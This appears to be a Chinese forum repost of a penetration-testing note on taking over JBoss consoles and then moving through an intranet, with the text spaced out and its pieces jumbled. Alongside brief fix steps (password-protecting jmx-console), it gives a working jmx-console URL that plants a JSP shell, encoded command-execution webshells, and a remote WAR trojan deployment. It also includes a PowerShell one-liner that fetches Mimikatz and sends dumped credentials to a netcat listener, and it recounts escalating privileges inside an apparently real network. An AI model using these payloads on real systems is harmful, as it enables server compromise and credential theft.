搜索

[20855] 2017-08-12_一次简单的漫游内网附带对jboss安全性的讨论(转)

文档创建者：s7ckTeam
浏览次数：27
最后更新：2025-01-18
2017-08-12_一次简单的漫游内网附带对jboss安全性的讨论(转) 一 次 简 单 的 漫 游 内 网 附 带 对 j b o s s 安 全 性 的 讨 论 ( 转 ) L e m o n S e c   2 0 1 7 - 0 8 - 1 2 转 自 ： b s m a l i 4 大 神         h t t p : / / w w w . c o d e r s e c . n e t / 2 0 1 6 / 1 2 / % E 4 % B 8 % 8 0 % E 6 % A C % A 1 % E 7 % A E % 8 0 % E 5 % 8 D % 9 5 % E 7 % 9 A % 8 4 % E 6 % B C % A B % E 6 % B 8 % B 8 % E 5 % 8 6 % 8 5 % E 7 % B D % 9 1 / 这 个 之 前 ， 先 在 本 地 搭 建 一 个 j b o s s 环 境 ， 自 从 上 次 被 吊 打 之 后 ， 觉 得 做 安 全 的 多 少 要 会 点 防 御 ， 以 前 把 太 多 精 力 放 在 攻 击 上 面 了 。 这 就 当 做 一 个 学 习 笔 记 ， 三 件 套 ， 攻 击 过 程 ， 修 复 过 程 ， 自 动 化 脚 本 。 漏 洞 复 现   j m x - c o n s o l e 先 安 装 d o c k e r 镜 像 ， d o c k e r   p u l l   t u t u m / j b o s s : a s 5 然 后 管 理 器 的 地 址 是   h t t p : / / 1 2 7 . 0 . 0 . 1 : 9 9 9 0 / m a n a g e r / h t m l   或 者 不 设 置 密 码 这 里 选 择 a s 4 版 本 ， 这 个 是 老 版 本 的 j b o s s 然 后 找 到 a d d u r l , 填 上 w a r 木 马 地 址 ， 进 行 远 程 部 署   然 后 点 击 c h a n g e 然 后 才 到 连 接 h t t p : / / 1 9 2 . 1 6 8 . 1 9 0 . 1 4 5 : 8 0 8 0 / i s / i n d e x . j s p   有 些 实 际 场 景 无 法 部 署 成 功 ， 可 能 做 了 限 制 吧   但 是 实 际 的 路 径 确 实 在 t m p 路 径 下 面 漏 洞 修 复   j x m - c o n s o l e # # # 1   加 上 密 码 验 证   给 j m x - c o n s o l e 加 上 访 问 密 码 常 见 路 径 1 . 在 / s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / j b o s s -   w e b . x m l 去 掉 j a v a : / j a a s / j m x - c o n s o l e < / s e c u r i t y -   d o m a i n > 的 注 释   2 . ) 修 改 j b o s s - w e b . x m l 同 级 目 录 下 的 w e b . x m l 文 件 ， 查 找 到 节 点 ， 去 掉 它 的 注 释   其 中 内 容 为 d o c k e r   r u n   - d   - p   8 0 8 0 : 8 0 8 0   - p   9 9 9 0 : 9 9 9 0   - e   J B O S S _ P A S S = " m y p a s s "   t u t u m / j b o s s d o c k e r   r u n   - d   - p   8 0 8 0 : 8 0 8 0   - p   9 9 9 0 : 9 9 9 0   t u t u m / j b o s s / j b o s s - 4 . 2 . 3 . G A / s e r v e r / d e f a u l t / . / t m p / d e p l o y / t m p 5 9 6 2 8 6 2 0 2 3 1 8 6 6 5 6 2 8 8 i s - e x p . w a r /   / j b o s s - 4 . 2 . 3 . G A / s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / < a u t h - c o n s t r a i n t >  
< / s e c u r i t y - c o n s t r a i n t >     表 示 角 色   3 . 在 J B o s s 安 装 目 录 / s e r v e r / d e f a u l t / c o n f i g / l o g i n - c o n f i g . x m l   查 找 代 码 j m x - c o n s o l e   其 中 大 致 为 打 开 j m x - c o n s o l e - u s e r s . p r o p e r t i e s   内 容 为 j m x - c o n s o l e - r o l e s . p r o p e r t i e s 为 角 色 分 配 修 复 完 成 关 键 路 径   修 改 注 视 的 地 方   s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / j b o s s -   w e b . x m l   s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r / W E B - I N F / w e b . x m l   用 户 密 码 位 置   s e r v e r / d e f a u l t / c o n f / p r o p s / j m x - c o n s o l e - u s e r s . p r o p e r t i e s j x m - c o n s o l e 用 户 名 密 码 极 端 方 法   删 除   查 找 w e b - c o n s e l 路 径   f i n d   /   - i n a m e   S e r v e r I n f o . j s p / j b o s s - 4 . 2 . 3 . G A / s e r v e r / d e f a u l t / d e p l o y / m a n a g e m e n t / c o n s o l e - m g r . s a r / w e b - c o n s o l e . w a r 漏 洞 复 现   w e b - c o n s o l e 参 考 文 献   各 大 容 器 拿 s h e l l   在 有 些 高 版 本 的 j b o s s 里 面 ， 貌 似 j x m - c o n s o l e 无 法 直 接 部 署   参 考 h t t p : / / w o o y u n . j o z x i n g . c c / s t a t i c / b u g s / w o o y u n - 2 0 1 5 - 0 1 5 7 2 5 6 . h t m l 带 回 显 上 面 的 用 法 任 意 写   h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 6 : 8 0 8 0 / u p l o a d 5 w a r n / s h e l l . j s p ? f = h e l l o . t x t & t = w h o a m i 之 后 在   h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 6 : 8 0 8 0 / a d m i n - c o n s o l e / s e c u r e / s u m m a r y . s e a m ? p a t h = - 3 3 & c o n v e r s a t i o n I d = 4 3 & c o n v e r s a t i o n P r o p a g a t i o n = e n d 会 找 到 项 目 物 理 路 径 为   / j b o s s - 5 . 1 . 0 . G A / s e r v e r / d e f a u l t / d e p l o y / m a n a g e m e n t / u p l o a d 5 w a r n . w a r / s h e l l . j s p 查 看 路 径 发 现 所 以 访 问   h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 6 : 8 0 8 0 / u p l o a d 5 w a r n / s h e l l . j s p ? f = h e l l o . t x t & t = w h o a m i 可 以 写 任 意 内 容 < a u t h - c o n s t r a i n t >   < r o l e - n a m e > J B o s s A d m i n < / r o l e - n a m e >   < / a u t h - c o n s t r a i n t >   < m o d u l e - o p t i o n   n a m e = " u s e r s P r o p e r t i e s " > p r o p s / j m x - c o n s o l e - u s e r s . p r o p e r t i e s < / m o d u l e - o p t i o n >     < m o d u l e - o p t i o n   n a m e = " r o l e s P r o p e r t i e s " > p r o p s / j m x - c o n s o l e - r o l e s . p r o p e r t i e s < / m o d u l e - o p t i o n > a d m i n = a d m i n   # 用 户 名 : 密 码 a d m i n = J B o s s A d m i n ,   H t t p I n v o k e r   # 用 户 名 = 角 色 ， 多 个 角 色 以 “ , ” 隔 开 j b o s s - 4 . 2 . 3 . G A / s e r v e r / a l l / d e p l o y / j m x - c o n s o l e . w a r / j b o s s - 4 . 2 . 3 . G A / s e r v e r / a l l / d e p l o y / m a n a g e m e n t / c o n s o l e - m g r . s a r / w e b - c o n s o l e . w a r j b o s s - 4 . 2 . 3 . G A / s e r v e r / d e f a u l t / d e p l o y / j m x - c o n s o l e . w a r h t t p : / / l o c a l h o s t : 8 0 8 0 / j m x - c o n s o l e / H t m l A d a p t o r ? a c t i o n = i n v o k e O p B y N a m e & n a m e = j b o s s . a d m i n % 3 A s e r v i c e % 3 D D e p l o y m e n t F i l e R e p o s i t o r y & m e t h o d N a m e = s t o r e & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 0 = u p l o a d 5 w a r n . w a r & a r g T y p e = j a v a . l a n g . S t r i n g & & a r g 1 = s h e l l & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 2 = . j s p & a r g T y p e = j a v a . l a n g . S t r i n g & a r g 3 = % 3 c % 2 5 + i f ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ! % 3 d n u l l ) ( n e w + j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( % 2 2 % 2 f % 2 2 ) % 2 b r e q u e s t . g e t P a r a m e t e r ( % 2 2 f % 2 2 ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 t % 2 2 ) . g e t B y t e s ( ) ) % 3 b + % 2 5 % 3 e & a r g T y p e = b o o l e a n & a r g 4 = T r u e h t t p : / / 1 9 2 . 1 6 8 . 3 1 . 6 : 8 0 8 0 / u p l o a d 5 w a r n / s h e l l . j s p ? f = h e l l o . j s p & t = % 3 C % 2 5 i f ( % 2 2 0 2 3 % 2 2 . e q u a l s ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 p w d % 2 2 ) ) ) % 7 B j a v a . i o . I n p u t S t r e a m % 2 0 i n % 2 0 = % 2 0 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( % 2 2 i % 2 2 ) ) . g e t I n p u t S t r e a m ( ) ; i n t % 2 0 a % 2 0 = % 2 0 - 1 ; b y t e % 5 B % 5 D % 2 0 b % 2 0 = % 2 0 n e w % 2 0 b y t e % 5 B 2 0 4 8 % 5 D ; o u t . p r i n t ( % 2 2 % 3 C p r e % 3 E % 2 2 ) ; w h i l e ( ( a = i n . r e a d ( b ) ) ! = - 1 ) % 7 B o u t . p r i n t l n ( n e w % 2 0 S t r i n g ( b ) ) ; % 7 D o u t . p r i n t ( % 2 2 % 3 C / p r e % 3 E % 2 2 ) ; % 7 D % 2 5 % 3 E % 0 A
漏 洞 修 复   w e b - c o n s o l e 同 方 法 一 漏 洞 复 现   9 9 9 0 / c o n s o l e 上 面 说 的 都 是 老 版 本 的 j b o s s ， 下 载 心 版 本 的 j b o s s 发 现 ， 没 有 了 上 面 的 j x m - c o n s o l e , 测 试 的 版 本 是 a s 7 首 先 你 要 知 道 帐 号 和 密 码   在 登 录 之 后 选 择 好 一 个 w a r 就 可 以 部 署 了 ， 也 可 以 下 在 园 长 m m 的   h t t p : / / p 2 j . c n / i s . w a r   部 署 的 时 候 记 得 点 e n a b l e ， 然 后 访 问 就 行 了
漏 洞 修 复   w e b - c o n s o l e 同 方 法 一 , 修 改 密 码 慢 慢 搞 内 网 我 这 里 选 择 的 是 m s f 来 入 侵 内 网 ， 用 这 个 搞 内 网 还 是 很 成 熟 的 ， 自 动 化 很 爽 。 可 以 看 到 源 码 内 网 渗 透 首 先 尝 试 m s f ， 但 是 发 现 反 弹 不 出 来 , 测 试 p i n g 不 通 任 何 外 网 主 机 试 了 几 个 常 见 的 e x p 最 终 提 权 成 功 ， 不 过 域 控 没 有 搞 下 来 ， 本 次 渗 透 就 此 作 罢 。   p o w w e s h e l l 抓 明 文 修 复 参 考 文 献 h t t p : / / b l o g . k n o w s k y . c o m / 1 9 3 8 4 5 . h t m   j s p 后 门   附 带 几 个 j s p 木 马 突 然 想 到 这 些 不 同 版 本 之 间 的 拿 s h e l l 方 法 不 同 ， 可 以 写 一 个 完 整 的 小 项 目 来 完 成 这 个 需 求 。 p o w e r s h e l l   " I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / i s . g d / o e o F u I ' ) ;   I n v o k e - M i m i k a t z   - D u m p C r e d s "   |   n c   1 9 2 . 1 6 8 . 1 . 1   4 4 4 4   < % R u n t i m e . g e t R u n t i m e ( ) . e x e c ( r e q u e s t . g e t P a r a m e t e r ( " i " ) ) ; % >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理